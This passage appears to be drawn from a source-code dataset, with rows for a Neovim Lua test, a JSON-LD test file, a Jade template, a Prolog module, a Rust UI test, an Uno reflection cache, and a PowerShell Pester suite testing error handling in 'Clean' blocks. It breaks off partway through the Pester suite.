feed('$v$p')
expect([[
aaa
bbb
cc
aaa
]])
end)
end)
-- luacheck: ignore 613 (Trailing whitespace in a string)
it('gv in exclusive select mode after operation', function()
source([[
$put ='zzz '
$put ='äà '
set selection=exclusive]])
feed('kv3lyjv3lpgvcxxx<Esc>')
expect([[
zzz
xxx ]])
end)
it('gv in exclusive select mode without operation', function()
source([[
$put ='zzz '
set selection=exclusive]])
feed('0v3l<Esc>gvcxxx<Esc>')
expect([[
xxx ]])
end)
end)
| Lua | 4 | uga-rosa/neovim | test/functional/legacy/094_visual_mode_operators_spec.lua | [
"Vim"
] |
{
"@context": {
"dc11": "http://purl.org/dc/elements/1.1/",
"ex": "http://example.org/vocab#",
"ex:authored": {
"@type": "@id"
},
"ex:contains": {
"@type": "@id"
},
"foaf": "http://xmlns.com/foaf/0.1/",
"xsd": "http://www.w3.org/2001/XMLSchema#"
},
"@graph": [
{
"@id": "http://example.org/test#chapter",
"dc11:description": "Fun",
"dc11:title": "Chapter One"
},
{
"@id": "http://example.org/test#jane",
"ex:authored": "http://example.org/test#chapter",
"foaf:name": "Jane"
},
{
"@id": "http://example.org/test#john",
"foaf:name": "John"
},
{
"@id": "http://example.org/test#library",
"ex:contains": {
"@id": "http://example.org/test#book",
"dc11:contributor": "Writer",
"dc11:title": "My Book",
"ex:contains": "http://example.org/test#chapter"
}
}
]
} | JSONLD | 3 | fsteeg/json-ld-api | tests/toRdf/0052-in.jsonld | [
"W3C"
] |
component.modal-body.teacher-panel(:is="panel", v-on:continue="onContinue", v-on:back="onBack", trial-request-attributes="trialRequestAttributes")
| Jade | 3 | cihatislamdede/codecombat | app/templates/core/create-account-modal/teacher-signup-component.jade | [
"CC-BY-4.0",
"MIT"
] |
:- module(clpbn_vmap,
[init_vmap/1, % init_vmap(-Vmap)
add_to_vmap/4, % add_to_vmap(+V,-I,+VMap0,VMapF)
get_from_vmap/3, % add_to_vmap(+V,-I,+VMap0)
vars_to_numbers/4, % vars_to_numbers(+Vs,-Is,+VMap0,VMapF)
lvars_to_numbers/4, % lvars_to_numbers(+LVs,-LIs,+VMap0,VMapF)
vmap_to_list/2
]).
:- use_module(library(rbtrees)).
:- use_module(library(maplist)).
%
% vmap: map V->I
% contiguous Vs to contiguous integers
%
init_vmap(vmap(0,Empty)) :-
rb_new(Empty).
get_from_vmap(V, I, VMap0) :-
VMap0 = vmap(_I,Map0),
rb_lookup(V, I, Map0).
add_to_vmap(V, I, VMap0, VMap0) :-
VMap0 = vmap(_I,Map0),
rb_lookup(V, I, Map0), !.
add_to_vmap(V, I0, vmap(I0,Map0), vmap(I, Map)) :-
I is I0+1,
rb_insert(Map0, V, I0, Map).
vars_to_numbers(Vs, Is, VMap0, VMap) :-
foldl(add_to_vmap, Vs, Is, VMap0, VMap).
lvars_to_numbers(LVs, LIs, VMap0, VMap) :-
foldl(vars_to_numbers, LVs, LIs, VMap0, VMap).
vmap_to_list(vmap(_,Map), L) :-
rb_visit(Map, L).
| Prolog | 4 | ryandesign/yap | packages/CLPBN/clpbn/vmap.yap | [
"Artistic-1.0-Perl",
"ClArtistic"
] |
fn main() {
let a_longer_variable_name = 1;
println!("{}", a_variable_longer_name); //~ ERROR E0425
}
| Rust | 2 | Eric-Arellano/rust | src/test/ui/suggestions/issue-66968-suggest-sorted-words.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
using Uno;
using Uno.Collections;
using Uno.Reflection;
using Uno.Compiler.ExportTargetInterop;
using Outracks.Simulator.Runtime;
namespace Outracks.Simulator.Client
{
using Bytecode;
extern(CPLUSPLUS && REFLECTION) internal static class ReflectionCache
{
static readonly Dictionary<Type, CppFunction[]> _functionCache;
static readonly Dictionary<Type, CppField[]> _fieldCache;
static readonly List<Dictionary<TypeName, Type>> _typeCache;
static ReflectionCache()
{
_functionCache = new Dictionary<Type, CppFunction[]>();
_fieldCache = new Dictionary<Type, CppField[]>();
_typeCache = new List<Dictionary<TypeName, Type>>();
}
public static CppFunction[] GetFunctions(Type type)
{
if (_functionCache.ContainsKey(type))
return _functionCache[type];
var functions = new List<CppFunction>();
var t = type;
while (t != null)
{
functions.AddRange(CppReflection.GetFunctions(t));
t = t.BaseType;
}
var array = functions.ToArray();
_functionCache.Add(type, array);
return array;
}
public static CppField[] GetFields(Type type)
{
if (_fieldCache.ContainsKey(type))
return _fieldCache[type];
var fields = new List<CppField>();
var t = type;
while (t != null)
{
fields.AddRange(CppReflection.GetFields(t));
t = t.BaseType;
}
var array = fields.ToArray();
_fieldCache.Add(type, array);
return array;
}
public static Type GetType(TypeName typeName)
{
foreach (var dict in _typeCache)
if (dict.ContainsKey(typeName))
return dict[typeName];
return null;
}
public static void AddToTypeCache(Dictionary<TypeName, Type> typeDictionary)
{
_typeCache.Add(typeDictionary);
}
}
}
| Uno | 4 | mortend/fuse-studio | Source/Preview/Core/Reflection/ReflectionCache.uno | [
"MIT"
] |
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
Describe "Error handling within a single 'Clean' block" -Tag 'CI' {
BeforeAll {
function ErrorInClean {
[CmdletBinding()]
param(
[switch] $ThrowTerminatingError,
[switch] $ErrorActionStop,
[switch] $ThrowException,
[switch] $WriteErrorAPI,
[switch] $WriteErrorCmdlet,
[switch] $MethodInvocationThrowException,
[switch] $ExpressionThrowException
)
End { <# use an empty end block to allow the clean block to actually run #> }
clean {
if ($ThrowTerminatingError) {
$ex = [System.ArgumentException]::new('terminating-exception')
$er = [System.Management.Automation.ErrorRecord]::new($ex, 'ThrowTerminatingError:error', 'InvalidArgument', $null)
$PSCmdlet.ThrowTerminatingError($er)
Write-Verbose -Verbose "verbose-message"
}
elseif ($ErrorActionStop) {
Get-Command NonExist -ErrorAction Stop
Write-Verbose -Verbose "verbose-message"
}
elseif ($ThrowException) {
throw 'throw-exception'
Write-Verbose -Verbose "verbose-message"
}
elseif ($WriteErrorAPI) {
$ex = [System.ArgumentException]::new('arg-exception')
$er = [System.Management.Automation.ErrorRecord]::new($ex, 'WriteErrorAPI:error', 'InvalidArgument', $null)
$PSCmdlet.WriteError($er)
Write-Verbose -Verbose "verbose-message"
}
elseif ($WriteErrorCmdlet) {
Write-Error 'write-error-cmdlet'
Write-Verbose -Verbose "verbose-message"
}
elseif ($MethodInvocationThrowException) {
## This method call throws exception.
$iss = [initialsessionstate]::Create()
$iss.ImportPSModule($null)
Write-Verbose -Verbose "verbose-message"
}
elseif ($ExpressionThrowException) {
1/0 ## throw exception.
Write-Verbose -Verbose "verbose-message"
}
}
}
function ErrorInEnd {
[CmdletBinding()]
param(
[switch] $ThrowTerminatingError,
[switch] $ErrorActionStop,
[switch] $ThrowException,
[switch] $WriteErrorAPI,
[switch] $WriteErrorCmdlet,
[switch] $MethodInvocationThrowException,
[switch] $ExpressionThrowException
)
if ($ThrowTerminatingError) {
$ex = [System.ArgumentException]::new('terminating-exception')
$er = [System.Management.Automation.ErrorRecord]::new($ex, 'ThrowTerminatingError:error', 'InvalidArgument', $null)
$PSCmdlet.ThrowTerminatingError($er)
Write-Verbose -Verbose "verbose-message"
}
elseif ($ErrorActionStop) {
Get-Command NonExist -ErrorAction Stop
Write-Verbose -Verbose "verbose-message"
}
elseif ($ThrowException) {
throw 'throw-exception'
Write-Verbose -Verbose "verbose-message"
}
elseif ($WriteErrorAPI) {
$ex = [System.ArgumentException]::new('arg-exception')
$er = [System.Management.Automation.ErrorRecord]::new($ex, 'WriteErrorAPI:error', 'InvalidArgument', $null)
$PSCmdlet.WriteError($er)
Write-Verbose -Verbose "verbose-message"
}
elseif ($WriteErrorCmdlet) {
Write-Error 'write-error-cmdlet'
Write-Verbose -Verbose "verbose-message"
}
elseif ($MethodInvocationThrowException) {
## This method call throws exception.
$iss = [initialsessionstate]::Create()
$iss.ImportPSModule($null)
Write-Verbose -Verbose "verbose-message"
}
elseif ($ExpressionThrowException) {
1/0 ## throw exception.
Write-Verbose -Verbose "verbose-message"
}
}
function DivideByZeroWrappedInTry {
[CmdletBinding()]
param()
end {}
clean {
try {
1/0
Write-Verbose -Verbose 'clean'
}
catch { Write-Verbose -Verbose $_.Exception.InnerException.GetType().FullName }
}
}
function ArgumentNullWrappedInTry {
[CmdletBinding()]
param()
end {}
clean {
try {
$iss = [initialsessionstate]::Create()
$iss.ImportPSModule($null)
Write-Verbose -Verbose 'clean'
}
catch { Write-Verbose -Verbose $_.Exception.InnerException.GetType().FullName }
}
}
function DivideByZeroWithTrap {
[CmdletBinding()]
param()
end {}
clean {
trap {
Write-Verbose -Verbose $_.Exception.GetType().FullName
continue
}
1/0
Write-Verbose -Verbose 'clean'
}
}
function ArgumentNullWithTrap {
[CmdletBinding()]
param()
end {}
clean {
trap {
Write-Verbose -Verbose $_.Exception.GetType().FullName
continue
}
$iss = [initialsessionstate]::Create()
$iss.ImportPSModule($null)
Write-Verbose -Verbose 'clean'
}
}
#region Helper
$pwsh = [PowerShell]::Create()
$text = (Get-Command ErrorInClean).ScriptBlock.Ast.Extent.Text
$pwsh.AddScript($text).Invoke()
$pwsh.Commands.Clear()
$text = (Get-Command ErrorInEnd).ScriptBlock.Ast.Extent.Text
$pwsh.AddScript($text).Invoke()
function RunCommand {
param(
[ValidateSet('ErrorInClean', 'ErrorInEnd')]
[string] $Command,
[ValidateSet('ThrowTerminatingError', 'ErrorActionStop', 'ThrowException', 'WriteErrorAPI',
'WriteErrorCmdlet', 'MethodInvocationThrowException', 'ExpressionThrowException')]
[string] $ParamNameToUse,
[ValidateSet('Continue', 'Ignore', 'SilentlyContinue', 'Stop')]
[string] $ErrorAction
)
$pwsh.Commands.Clear()
$pwsh.Streams.ClearStreams()
$pwsh.AddCommand($Command).AddParameter($ParamNameToUse, $true) > $null
if ($ErrorAction) { $pwsh.AddParameter('ErrorAction', $ErrorAction) > $null }
$pwsh.Invoke()
}
function RunScript {
param([string] $Script)
$pwsh.Commands.Clear()
$pwsh.Streams.ClearStreams()
$pwsh.AddScript($Script).Invoke()
}
function GetLastError {
$pwsh.Commands.Clear()
$pwsh.AddCommand('Get-Error').Invoke()
}
function ClearDollarError {
$pwsh.Commands.Clear()
$pwsh.AddScript('$Error.Clear()').Invoke()
}
#endregion
}
AfterAll {
$pwsh.Dispose()
}
It "Terminating error should stop the 'Clean' block execution but should not be propagated up" {
## 'ThrowTerminatingException' stops the execution within the 'Clean' block, but the error doesn't get
## propagated out of the 'Clean' block. Instead, the error is written to the 'ErrorOutput' pipe.
RunCommand -Command 'ErrorInClean' -ParamNameToUse 'ThrowTerminatingError'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'terminating-exception'
## 'throw' statement stops the execution within the 'Clean' block by default, but the error doesn't get
## propagated out of the 'Clean' block. Instead, the error is written to the 'ErrorOutput' pipe.
RunCommand -Command 'ErrorInClean' -ParamNameToUse 'ThrowException'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'throw-exception'
## '-ErrorAction Stop' stops the execution within the 'Clean' block, but the error doesn't get propagated
## out of the 'Clean' block. Instead, the error is written to the 'ErrorOutput' pipe.
RunCommand -Command 'ErrorInClean' -ParamNameToUse 'ErrorActionStop'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].FullyQualifiedErrorId | Should -BeExactly 'CommandNotFoundException,Microsoft.PowerShell.Commands.GetCommandCommand'
## Turn non-terminating errors into terminating by '-ErrorAction Stop' explicitly.
## Execution within the 'Clean' block should be stopped. The resulted terminating error should not get
## propagated, but instead should be written to 'ErrorOutput' pipe.
RunCommand -Command 'ErrorInClean' -ParamNameToUse 'WriteErrorAPI' -ErrorAction Stop
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'arg-exception'
RunCommand -Command 'ErrorInClean' -ParamNameToUse 'WriteErrorCmdlet' -ErrorAction Stop
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'write-error-cmdlet'
RunCommand -Command 'ErrorInClean' -ParamNameToUse 'MethodInvocationThrowException' -ErrorAction Stop
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
RunCommand -Command 'ErrorInClean' -ParamNameToUse 'ExpressionThrowException' -ErrorAction Stop
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
}
It "Terminating error should set `$? correctly" {
RunScript -Script 'ErrorInClean -ThrowTerminatingError; $?' | Should -BeFalse
RunScript -Script 'ErrorInClean -ThrowException; $?' | Should -BeFalse
RunScript -Script 'ErrorInClean -ErrorActionStop; $?' | Should -BeFalse
RunScript -Script 'ErrorInClean -WriteErrorAPI -ErrorAction Stop; $?' | Should -BeFalse
RunScript -Script 'ErrorInClean -WriteErrorCmdlet -ErrorAction Stop; $?' | Should -BeFalse
RunScript -Script 'ErrorInClean -MethodInvocationThrowException -ErrorAction Stop; $?' | Should -BeFalse
RunScript -Script 'ErrorInClean -ExpressionThrowException -ErrorAction Stop; $?' | Should -BeFalse
}
It "Track the `$? behavior for non-terminating errors within 'Clean' and 'End' blocks" {
RunScript -Script 'ErrorInClean -WriteErrorAPI; $?' | Should -BeFalse
RunScript -Script 'ErrorInEnd -WriteErrorAPI; $?' | Should -BeFalse
## The 'Write-Error' is specially weird, in that when a command emits error because of 'Write-Error' within it,
## the following '$?' won't reflect '$false', but will be '$true'.
## Frankly, this is counter-intuitive, but it's the existing behavior. The tests below just keeps track of this
## behavior. Feel free to change this test if someone is fixing this seemingly wrong behavior.
RunScript -Script 'ErrorInClean -WriteErrorCmdlet; $?' | Should -BeTrue
RunScript -Script 'ErrorInEnd -WriteErrorCmdlet; $?' | Should -BeTrue
## Similarly, when a command emits error because of a method invocation within it throws an exception,
## the following '$?' won't reflect '$false', but will be '$true'.
## Again, this seems wrong, but it's the existing behavior. The tests below just keeps track of this
## behavior. Feel free to change this test if someone is fixing this seemingly wrong behavior.
RunScript -Script 'ErrorInClean -MethodInvocationThrowException; $?' | Should -BeTrue
RunScript -Script 'ErrorInEnd -MethodInvocationThrowException; $?' | Should -BeTrue
## Again, when a command emits error because of an expression within it throws an exception,
## the following '$?' won't reflect '$false', but will be '$true'.
## This seems wrong, but it's the existing behavior. The tests below just keeps track of this
## behavior. Feel free to change this test if someone is fixing this seemingly wrong behavior.
RunScript -Script 'ErrorInClean -ExpressionThrowException; $?' | Should -BeTrue
RunScript -Script 'ErrorInEnd -ExpressionThrowException; $?' | Should -BeTrue
}
It "Non-terminating error within 'Clean' block should act based on ErrorActionPreference: <ParamName> - Continue" -TestCases @(
@{ ParamName = 'WriteErrorAPI'; AssertScript = { param($err) $err.Exception.Message | Should -BeExactly 'arg-exception' } }
@{ ParamName = 'WriteErrorCmdlet'; AssertScript = { param($err) $err.Exception.Message | Should -BeExactly 'write-error-cmdlet' } }
@{ ParamName = 'MethodInvocationThrowException'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.ArgumentNullException' } }
@{ ParamName = 'ExpressionThrowException'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.DivideByZeroException' } }
) {
param($ParamName, $AssertScript)
RunCommand -Command 'ErrorInClean' -ParamNameToUse $ParamName
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
$pwsh.Streams.Error.Count | Should -Be 1
& $AssertScript $pwsh.Streams.Error[0]
}
It "Non-terminating error within 'End' block should act based on ErrorActionPreference: <ParamName> - Continue" -TestCases @(
@{ ParamName = 'WriteErrorAPI'; AssertScript = { param($err) $err.Exception.Message | Should -BeExactly 'arg-exception' } }
@{ ParamName = 'WriteErrorCmdlet'; AssertScript = { param($err) $err.Exception.Message | Should -BeExactly 'write-error-cmdlet' } }
@{ ParamName = 'MethodInvocationThrowException'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.ArgumentNullException' } }
@{ ParamName = 'ExpressionThrowException'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.DivideByZeroException' } }
) {
param($ParamName, $AssertScript)
RunCommand -Command 'ErrorInEnd' -ParamNameToUse $ParamName
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
$pwsh.Streams.Error.Count | Should -Be 1
& $AssertScript $pwsh.Streams.Error[0]
}
It "Non-terminating error within 'Clean' block should act based on ErrorActionPreference: <ParamName> - <Action>" -TestCases @(
### When error action is 'Ignore', non-terminating errors emitted by 'WriteErrorAPI' and 'WriteErrorCmdlet' are not captured in $Error,
### but non-terminating errors emitted by method exception or expression exception are captured in $Error.
### This inconsistency is surprising, but it's the existing behavior -- same in other named blocks.
@{ ParamName = 'WriteErrorAPI'; Action = 'Ignore'; AssertScript = $null }
@{ ParamName = 'WriteErrorCmdlet'; Action = 'Ignore'; AssertScript = $null }
@{ ParamName = 'MethodInvocationThrowException'; Action = 'Ignore'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.ArgumentNullException' } }
@{ ParamName = 'ExpressionThrowException'; Action = 'Ignore'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.DivideByZeroException' } }
@{ ParamName = 'WriteErrorAPI'; Action = 'SilentlyContinue'; AssertScript = { param($err) $err.Exception.Message | Should -BeExactly 'arg-exception' } }
@{ ParamName = 'WriteErrorCmdlet'; Action = 'SilentlyContinue'; AssertScript = { param($err) $err.Exception.Message | Should -BeExactly 'write-error-cmdlet' } }
@{ ParamName = 'MethodInvocationThrowException'; Action = 'SilentlyContinue'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.ArgumentNullException' } }
@{ ParamName = 'ExpressionThrowException'; Action = 'SilentlyContinue'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.DivideByZeroException' } }
) {
param($ParamName, $Action, $AssertScript)
ClearDollarError
RunCommand -Command 'ErrorInClean' -ParamNameToUse $ParamName -ErrorAction $Action
$pwsh.Streams.Error.Count | Should -Be 0
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
$lastErr = GetLastError
if ($null -eq $AssertScript) {
$lastErr | Should -BeNullOrEmpty
} else {
$lastErr | Should -Not -BeNullOrEmpty
& $AssertScript $lastErr
}
}
### These tests are targeting 'End' block but with the same settings as the ones right above.
### They are used as a comparison to prove the consistent behavior in 'End' and 'Clean'.
It "Non-terminating error within 'End' block should act based on ErrorActionPreference: <ParamName> - <Action>" -TestCases @(
@{ ParamName = 'WriteErrorAPI'; Action = 'Ignore'; AssertScript = $null }
@{ ParamName = 'WriteErrorCmdlet'; Action = 'Ignore'; AssertScript = $null }
@{ ParamName = 'MethodInvocationThrowException'; Action = 'Ignore'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.ArgumentNullException' } }
@{ ParamName = 'ExpressionThrowException'; Action = 'Ignore'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.DivideByZeroException' } }
@{ ParamName = 'WriteErrorAPI'; Action = 'SilentlyContinue'; AssertScript = { param($err) $err.Exception.Message | Should -BeExactly 'arg-exception' } }
@{ ParamName = 'WriteErrorCmdlet'; Action = 'SilentlyContinue'; AssertScript = { param($err) $err.Exception.Message | Should -BeExactly 'write-error-cmdlet' } }
@{ ParamName = 'MethodInvocationThrowException'; Action = 'SilentlyContinue'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.ArgumentNullException' } }
@{ ParamName = 'ExpressionThrowException'; Action = 'SilentlyContinue'; AssertScript = { param($err) $err.Exception.InnerException | Should -BeOfType 'System.DivideByZeroException' } }
) {
param($ParamName, $Action, $AssertScript)
ClearDollarError
RunCommand -Command 'ErrorInEnd' -ParamNameToUse $ParamName -ErrorAction $Action
$pwsh.Streams.Error.Count | Should -Be 0
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
$lastErr = GetLastError
if ($null -eq $AssertScript) {
$lastErr | Should -BeNullOrEmpty
} else {
$lastErr | Should -Not -BeNullOrEmpty
& $AssertScript $lastErr
}
}
It "'try/catch' and 'trap' should turn general exception thrown from method/expression into terminating error within 'Clean' block. ErrorAction: <ErrorAction>" -TestCases @(
@{ ErrorAction = 'Continue' }
@{ ErrorAction = 'Ignore' }
@{ ErrorAction = 'SilentlyContinue' }
) {
param($ErrorAction)
$verbose = DivideByZeroWrappedInTry -ErrorAction $ErrorAction 4>&1
$verbose.Count | Should -Be 1
$verbose.Message | Should -BeExactly 'System.DivideByZeroException'
$verbose = ArgumentNullWrappedInTry -ErrorAction $ErrorAction 4>&1
$verbose.Count | Should -Be 1
$verbose.Message | Should -BeExactly 'System.ArgumentNullException'
$verbose = DivideByZeroWithTrap -ErrorAction $ErrorAction 4>&1
$verbose.Count | Should -Be 2
$verbose[0].Message | Should -BeExactly 'System.DivideByZeroException'
$verbose[1].Message | Should -BeExactly 'clean'
$verbose = ArgumentNullWithTrap -ErrorAction $ErrorAction 4>&1
$verbose.Count | Should -Be 2
$verbose[0].Message | Should -BeExactly 'System.ArgumentNullException'
$verbose[1].Message | Should -BeExactly 'clean'
}
It "'try/catch' and 'trap' outside the command should NOT affect general exception thrown from method/expression in the 'Clean' block" {
## The catch block should not run
RunScript -Script "try { ErrorInClean -MethodInvocationThrowException } catch { Write-Debug -Debug 'caught-something' }"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Debug.Count | Should -Be 0
## The catch block should not run
RunScript -Script "try { ErrorInClean -ExpressionThrowException } catch { Write-Debug -Debug 'caught-something' }"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
$pwsh.Streams.Debug.Count | Should -Be 0
## The trap block should not run
RunScript -Script "trap { Write-Debug -Debug 'caught-something'; continue } ErrorInClean -MethodInvocationThrowException"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Debug.Count | Should -Be 0
## The trap block should not run
RunScript -Script "trap { Write-Debug -Debug 'caught-something'; continue } ErrorInClean -ExpressionThrowException"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
$pwsh.Streams.Debug.Count | Should -Be 0
}
It "'try/catch' and 'trap' outside the command should NOT affect 'throw' statement in the 'Clean' block. ErrorAction: <ErrorAction>" -TestCases @(
@{ ErrorAction = 'Ignore' }
@{ ErrorAction = 'SilentlyContinue' }
) {
param ($ErrorAction)
## 'throw' statement should be suppressed by 'Ignore' or 'SilentlyContinue' within a 'Clean' block,
## even if the command is wrapped in try/catch.
RunScript -Script "try { ErrorInClean -ThrowException -ErrorAction $ErrorAction } catch { Write-Debug -Debug 'caught-something' }"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
## Nothing written to error stream
$pwsh.Streams.Error.Count | Should -Be 0
## Nothing written to debug stream
$pwsh.Streams.Debug.Count | Should -Be 0
## The suppressed 'throw' exception is kept in '$Error'
$err = GetLastError
$err | Should -Not -BeNullOrEmpty
$err.FullyQualifiedErrorId | Should -BeExactly 'throw-exception'
## 'throw' statement should be suppressed by 'Ignore' or 'SilentlyContinue' within a 'Clean' block,
## even if the command is accompanied by 'trap'.
RunScript -Script "trap { Write-Debug -Debug 'caught-something'; continue } ErrorInClean -ThrowException -ErrorAction $ErrorAction"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'verbose-message'
## Nothing written to error stream
$pwsh.Streams.Error.Count | Should -Be 0
## Nothing written to debug stream
$pwsh.Streams.Debug.Count | Should -Be 0
## The suppressed 'throw' exception is kept in '$Error'
$err = GetLastError
$err | Should -Not -BeNullOrEmpty
$err.FullyQualifiedErrorId | Should -BeExactly 'throw-exception'
}
It "Error out-variable should work for the 'Clean' block" {
## Terminating errors thrown from 'Clean' block are captured and written to the error pipe.
## Here we redirect the error pipe to discard the error stream, so the error doesn't pollute
## the test output.
ErrorInClean -ThrowTerminatingError -ErrorVariable err 2>&1 > $null
$err.Count | Should -Be 1
$err[0].Message | Should -BeExactly 'terminating-exception'
## $err.Count is 3 in this case. It's the same for other named blocks too.
## This looks like an existing bug because $err.Count should be 1 since only 1 error happened.
## Opened issue https://github.com/PowerShell/PowerShell/issues/15739
ErrorInClean -ErrorActionStop -ErrorVariable err 2>&1 > $null
$err[0] | Should -BeOfType 'System.Management.Automation.ActionPreferenceStopException'
## $err.Count is 2 in this case. It's the same for other named blocks too.
## Similarly, this looks like an existing bug and $err.Count should be 1.
## This is tracked by the same issue above.
ErrorInClean -ThrowException -ErrorVariable err 2>&1 > $null
$err[0].Exception.Message | Should -BeExactly 'throw-exception'
ErrorInClean -WriteErrorAPI -ErrorVariable err *>&1 > $null
$err.Count | Should -Be 1
$err[0].Exception.Message | Should -BeExactly 'arg-exception'
ErrorInClean -WriteErrorCmdlet -ErrorVariable err *>&1 > $null
$err.Count | Should -Be 1
$err[0].Exception.Message | Should -BeExactly 'write-error-cmdlet'
ErrorInClean -MethodInvocationThrowException -ErrorVariable err *>&1 > $null
$err.Count | Should -Be 1
$err[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
ErrorInClean -ExpressionThrowException -ErrorVariable err *>&1 > $null
$err.Count | Should -Be 1
$err[0].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
}
}
Describe "Multiple errors from 'Clean' and another named block" {
BeforeAll {
function MultipleErrors {
[CmdletBinding()]
param(
[ValidateSet('ThrowTerminatingError', 'ErrorActionStop', 'ThrowException', 'WriteErrorAPI',
'WriteErrorCmdlet', 'MethodInvocationThrowException', 'ExpressionThrowException')]
[Parameter(Mandatory)]
[string] $ErrorFromEndBlock,
[ValidateSet('ThrowTerminatingError', 'ErrorActionStop', 'ThrowException', 'WriteErrorAPI',
'WriteErrorCmdlet', 'MethodInvocationThrowException', 'ExpressionThrowException')]
[Parameter(Mandatory)]
[string] $ErrorFromCleanBlock
)
End {
switch ($ErrorFromEndBlock) {
'ThrowTerminatingError' {
$ex = [System.ArgumentException]::new('end-terminating-exception')
$er = [System.Management.Automation.ErrorRecord]::new($ex, 'ThrowTerminatingError:end-error', 'InvalidArgument', $null)
$PSCmdlet.ThrowTerminatingError($er)
Write-Verbose -Verbose "end-verbose-message"
}
'ErrorActionStop' {
Get-Command NonExistEnd -ErrorAction Stop
Write-Verbose -Verbose "end-verbose-message"
}
'ThrowException' {
throw 'end-throw-exception'
Write-Verbose -Verbose "end-verbose-message"
}
'WriteErrorAPI' {
$ex = [System.ArgumentException]::new('end-arg-exception')
$er = [System.Management.Automation.ErrorRecord]::new($ex, 'WriteErrorAPI:end-error', 'InvalidArgument', $null)
$PSCmdlet.WriteError($er)
Write-Verbose -Verbose "end-verbose-message"
}
'WriteErrorCmdlet' {
Write-Error 'end-write-error-cmdlet'
Write-Verbose -Verbose "end-verbose-message"
}
'MethodInvocationThrowException' {
## This method call throws exception.
$iss = [initialsessionstate]::Create()
$iss.ImportPSModule($null)
Write-Verbose -Verbose "end-verbose-message"
}
'ExpressionThrowException' {
1/0 ## throw exception.
Write-Verbose -Verbose "end-verbose-message"
}
}
}
clean {
switch ($ErrorFromCleanBlock) {
'ThrowTerminatingError' {
$ex = [System.ArgumentException]::new('clean-terminating-exception')
$er = [System.Management.Automation.ErrorRecord]::new($ex, 'ThrowTerminatingError:clean-error', 'InvalidArgument', $null)
$PSCmdlet.ThrowTerminatingError($er)
Write-Verbose -Verbose "clean-verbose-message"
}
'ErrorActionStop' {
Get-Command NonExistClean -ErrorAction Stop
Write-Verbose -Verbose "clean-verbose-message"
}
'ThrowException' {
throw 'clean-throw-exception'
Write-Verbose -Verbose "clean-verbose-message"
}
'WriteErrorAPI' {
$ex = [System.ArgumentException]::new('clean-arg-exception')
$er = [System.Management.Automation.ErrorRecord]::new($ex, 'WriteErrorAPI:clean-error', 'InvalidArgument', $null)
$PSCmdlet.WriteError($er)
Write-Verbose -Verbose "clean-verbose-message"
}
'WriteErrorCmdlet' {
Write-Error 'clean-write-error-cmdlet'
Write-Verbose -Verbose "clean-verbose-message"
}
'MethodInvocationThrowException' {
## This method call throws exception.
$iss = [initialsessionstate]::Create()
$iss.ImportPSModule($null)
